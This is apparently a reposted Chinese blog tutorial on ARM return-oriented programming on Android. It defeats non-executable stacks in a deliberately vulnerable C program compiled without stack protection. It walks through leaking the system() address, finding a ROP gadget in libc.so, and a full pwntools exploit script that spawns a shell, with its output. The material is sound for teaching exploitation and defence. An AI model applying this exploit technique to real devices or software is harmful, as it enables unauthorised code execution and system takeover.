Android 栈溢出攻击—[3]ROP 浅析
来源:互联网 发布:matlab plot 矩阵 编辑:程序博客网 时间:2024/05/17 20:13
在缓冲区溢出攻击攻防发展过程中ROP技术作为对抗XN的利用技术,一直发挥着重要的作用,在很多漏洞中其都是关键的攻击手段。本文通过一个简单的例子来对Android的ARM平台下ROP技术做一个简单的分析。
环境
ubuntu 14.04:调试平台
AOSP Prebuilt:AOSP仓库包含预编译好的工具链,用里面的GDB来对C程序进行调试。
LG Nexus 5:运行C程序的测试机。
代码
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include<dlfcn.h>void printsystemaddr(){ void* handle = dlopen("libc.so", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout);}void mPrint(char* str , int len){ write(STDOUT_FILENO, str, len);}void function(char* str) { char buf[128]; strcpy(buf , str);}int main(int argc, char** argv) { char buf[256]; printsystemaddr(); mPrint("stack overflow example !\n", 25); read(STDIN_FILENO, buf, 256); mPrint("call vulnerable function !\n" , 27); function(buf);}
同样,在编译程序时通过在Application.mk并加入APP_CFLAGS += -fno-stack-protector选项去掉栈保护防御机制:
APP_ABI := armeabiAPP_CFLAGS += -fno-stack-protector
通过ndk-build编译后推送到手机中准备进行调试,具体过程详见搭建Android系统C程序调试环境。
分析
本例中栈溢出漏洞和上一篇的一致,唯一的却别是本例中的程序没有实现运行shell的system函数调用,不能够简单的利用其获得shell,这里不再描述缓冲区溢出细节。本例的利用仍是获取shell,思路是定位进程中libc.so中system函数以及字符串“/system/bin/sh”的位置,并寻找合适的gadget来实现调用system运行shell。
定位system函数和“/system/bin/sh”
虽然,我们的程序编译时默认没有开启ALSR,但程序使用的系统动态链接库会受到ALSR的约束,每次重新启动程序后,libc.so的地址会随机生成。所以,为了简化这里通过printsystemaddr函数来泄漏libc.so中system函数的地址,并根据system的地址来定位字符串“/system/bin/sh”的位置。
这里假设printsystemaddr函数输出到控制台的system函数地址是0xb6edb0e1。通过IDA等工具可以获得libc.so中system函数以及字符串“/system/bin/sh”的相对位置:
这样就可以计算出程序运行时关键的元素的内存地址:
system_addr = 0xb6edb0e1#这里注意system_addr是Thumb模式下的地址,而system_bin_sh_addr是ARM模式下的地址system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1
寻找gadget
为了调用system函数运行shell,我们需要对栈进行布局来伪造函数调用时的栈帧。因为已经有了system函数和字符串“/system/bin/sh”的地址,我们只需找到一个合适的gadget把“/system/bin/sh”地址保存到R0寄存器即可。
这里使用ROPGadget工具在libc.so中寻找:
root@Tangxx:~/ndk_workspace/study-ROP/level7/jni# ROPgadget --binary=./libc.so --thumb | grep "ldr r0"...0x0002df38 : add r2, sp, #4 ; str r0, [r1, #-0x8]! ; movs r0, #0 ; mov r1, sp ; blx #0x210f8 ; cbnz r0, #0x2df5c ; ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}...
在通过IDA获得指令的相对位置:
最后就算得到gadget的运行时位置:
gadget_addr = system_addr + (0x0002DF48- 0x000250E0)
布局栈
有了上述关键的信息的地址后,就可以布局溢出后的栈来模拟调用过程:
这里需要注意每次执行gadget后sp的变化。
exp
#!/usr/bin/env pythonfrom pwn import *#p = process('./level7')p = remote('127.0.0.1',10001)system_addr_str = p.recvuntil('\n')system_addr = int(system_addr_str,16)print "system_addr = " + hex(system_addr)p.recvuntil('\n')#.text:000250E0 EXPORT system#.text:0002DF48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}gadget_addr = system_addr + (0x0002DF48- 0x000250E0)#.rodata:0003F8AC aSystemBinSh DCB "/system/bin/sh"system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1payload = 'A'*132 + p32(gadget_addr) + 'A'*0x4 + p32(system_bin_sh_addr) + 'A'*0x4 + p32(system_addr)p.send(payload)p.interactive()
运行利用,
root@Tangxx:~/ndk_workspace/study-ROP/level7/jni# make exppython /root/ndk_workspace/study-ROP/exp/level7.py[+] Opening connection to 127.0.0.1 on port 10001: Donesystem_addr = 0xb6f880e1[*] Switching to interactive modecall vulnerable function !$ lsacctcachechargerconfigd
参考资料
http://drops.wooyun.org/papers/11390
- Android 栈溢出攻击—[3]ROP 浅析
- Linux使用ROP进行栈溢出攻击
- Android 栈溢出攻击—[0]原理
- 针对Android上的ROP攻击剖析
- 针对Android上的ROP攻击剖析
- Android 栈溢出攻击—[2]调试分析
- Android 堆溢出攻击—[0]原理
- Android 栈溢出攻击—[1]ARM平台栈溢出特点
- 使用ROP攻击技术
- ROP攻击技术
- linux栈溢出-绕过ROP、ASLR(知道libc.so)
- 栈溢出攻击分析
- 栈溢出攻击
- 栈溢出攻击
- 栈溢出攻击
- 栈溢出攻击
- csapp 栈溢出攻击
- ROP 返回导向编程 攻击
- 二分查找算法
- typedef函数指针用法
- python爬虫爬取合肥工业大学校园新闻
- org.hibernate.AssertionFailure:null id in com.base.program.entity.X entry (don't flush the Session)
- Springmvc集成jfinal微信 微信服务号开发
- Android 栈溢出攻击—[3]ROP 浅析
- Android 网络传输 加密与验证
- 限制篇(5.2)-03. 网速限制 ❀ 飞塔 (Fortinet) 防火墙
- C++ 与 python 语法 对比
- 关于WPF关闭问题
- SQL在Excel中的应用方法
- 七种跨域方法【1.CROS篇】
- SonarQube的安装、配置与使用
- PHP中$_SERVER详解参数&说明